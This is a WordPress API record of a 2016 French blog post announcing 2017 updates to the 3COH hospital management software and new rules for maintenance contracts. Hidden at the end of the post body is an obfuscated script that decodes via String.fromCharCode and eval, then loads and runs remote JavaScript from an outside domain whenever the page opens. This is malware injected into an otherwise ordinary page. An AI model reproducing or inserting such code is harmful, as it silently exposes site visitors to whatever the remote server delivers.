{"id":2689,"date":"2016-10-23T10:40:38","date_gmt":"2016-10-23T09:40:38","guid":{"rendered":"http:\/\/www.ipresences.com\/actualites\/?p=2689"},"modified":"2016-10-23T10:40:38","modified_gmt":"2016-10-23T09:40:38","slug":"353","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/2689","title":{"rendered":"Demain 2017 : Quoi de neuf ?"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-2697 alignleft\" src=\"http:\/\/www.ipresences.com\/actualites\/wp-content\/uploads\/2016\/10\/3cohqdn-300x210.jpg\" alt=\"3cohqdn\" width=\"224\" height=\"160\" \/><\/p>\n<p>L&rsquo;ann\u00e9e 2017 approche \u00e0 grands pas. De nombreux changements vont \u00eatre apport\u00e9s tant aux fonctionnalit\u00e9s de 3COH qu&rsquo;\u00e0 la relation\u00a0entre PR\u00c9SENCES Int&rsquo;l et les \u00e9tablissements utilisateurs de 3COH.<\/p>\n<p>&nbsp;<\/p>\n<p>a) Fonctionnalit\u00e9s de 3COH :<\/p>\n<ul>\n<li>\u00a0changements induits par la loi des finances 2017\u00a0notamment nouveaux taux de TVA,<\/li>\n<\/ul>\n<ul>\n<li>\u00a0gestion des ressources humaines :<br \/>\n&#8211; suivi de la formation,<br \/>\n&#8211; extension de la notion de mouvements du personnel (nouveau module),<br \/>\n&#8211; dossier de retraite,<br \/>\n&#8211; version bilingue des d\u00e9cisions.<\/li>\n<\/ul>\n<ul>\n<li>syst\u00e8me de paye :<br \/>\n&#8211; g\u00e9n\u00e9ralisation de la \u00ab\u00a0bilinguisation\u00a0\u00bb du module.<\/li>\n<\/ul>\n<ul>\n<li>comptabilit\u00e9 g\u00e9n\u00e9rale :<br \/>\n&#8211; mise en place d&rsquo;un plan comptable uniformis\u00e9 conforme SCF (projet de loi sanitaire, article 210).<\/li>\n<\/ul>\n<ul>\n<li>immobilisations:<br \/>\n&#8211; Gestion de la maintenance et suivi des co\u00fbts d&rsquo;entretien.<\/li>\n<\/ul>\n<ul>\n<li>dossier patient informatis\u00e9:<br \/>\n&#8211; Mise en place effective du module \u00ab\u00a0Activit\u00e9s m\u00e9dicales et param\u00e9dicales\u00a0\u00bb<br \/>\n&#8211; Int\u00e9gration de la fonction FACTURATION<br \/>\n&#8211; Transfert \u00e9lectronique des dossiers.<\/li>\n<\/ul>\n<ul>\n<li>enrichissement des indicateurs de gestion:<br \/>\n&#8211; Module \u00ab\u00a0Tableaux de bord\u00a0\u00bb<br \/>\n&#8211; Module \u00ab\u00a0Consolidation\u00a0\u00bb<\/li>\n<\/ul>\n<p>b) Contrat de MAINTENANCE et d&rsquo;ASSISTANCE<\/p>\n<p>A cause de trop nombreuses difficult\u00e9s dans nos relations avec les \u00e9tablissements (probl\u00e8mes de communication,\u00a0recouvrements, blocages administratifs, &#8230;), nous avons d\u00e9cid\u00e9 d&rsquo;apporter des changements dans le mode de gestion des contrats de maintenance et d&rsquo;assistance.<\/p>\n<p>&#8211; les \u00e9tablissements qui n&rsquo;auront pas r\u00e9gularis\u00e9 leur situation financi\u00e8re \u00e0 notre \u00e9gard (factures de 2016, 2015, 2014 et &#8230; 2013 !) <strong>avant le 31.12.2016<\/strong> ne pourront plus b\u00e9n\u00e9ficier d&rsquo;assistance de notre part;<br \/>\n&#8211; les contrats d&rsquo;assistance et de maintenance ne seront adress\u00e9s qu&rsquo;aux seuls \u00e9tablissements qui en feront la demande \u00e9crite <strong>AVANT le 31.12.2016<\/strong>;<br \/>\n&#8211; nos prestations d&rsquo;assistance et de maintenance au profit des \u00e9tablissements cesseront le 31.12.2016 \u00e0 moins que\u00a0ces derniers ne nous aient adress\u00e9 une demande de contrat pour 2017;<br \/>\n&#8211; une nouvelle prestation facultative figurera dans le contrat 2017 : d\u00e9veloppement du site web de l&rsquo;\u00e9tablissement\u00a0et formation de l&rsquo;administrateur web;<br \/>\n&#8211; les \u00e9tablissement qui n&rsquo;ont pas sign\u00e9 de contrat de maintenance et d&rsquo;assistance en 2016 ne pourront b\u00e9n\u00e9ficier\u00a0du contrat 2017. Ils devront faire l&rsquo;acquisition du syst\u00e8me en proc\u00e9dant par voie d&rsquo;appel d&rsquo;offres et par consultation.<\/p>\n<p>Pour plus de pr\u00e9cisions, nous contacter.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;ann\u00e9e 2017 approche \u00e0 grands pas. De nombreux changements vont \u00eatre apport\u00e9s tant aux fonctionnalit\u00e9s de 3COH qu&rsquo;\u00e0 la relation\u00a0entre PR\u00c9SENCES Int&rsquo;l et les \u00e9tablissements utilisateurs de 3COH. &nbsp; a) Fonctionnalit\u00e9s de 3COH : \u00a0changements induits par la loi des finances 2017\u00a0notamment nouveaux taux de TVA, \u00a0gestion des ressources humaines : &#8211; suivi de la &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/2689\"> <span class=\"screen-reader-text\">Demain 2017 : Quoi de neuf ?<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":2697,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[88],"tags":[],"class_list":["post-2689","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-actualites"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/2689","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=2689"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/2689\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=2689"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=2689"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=2689"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}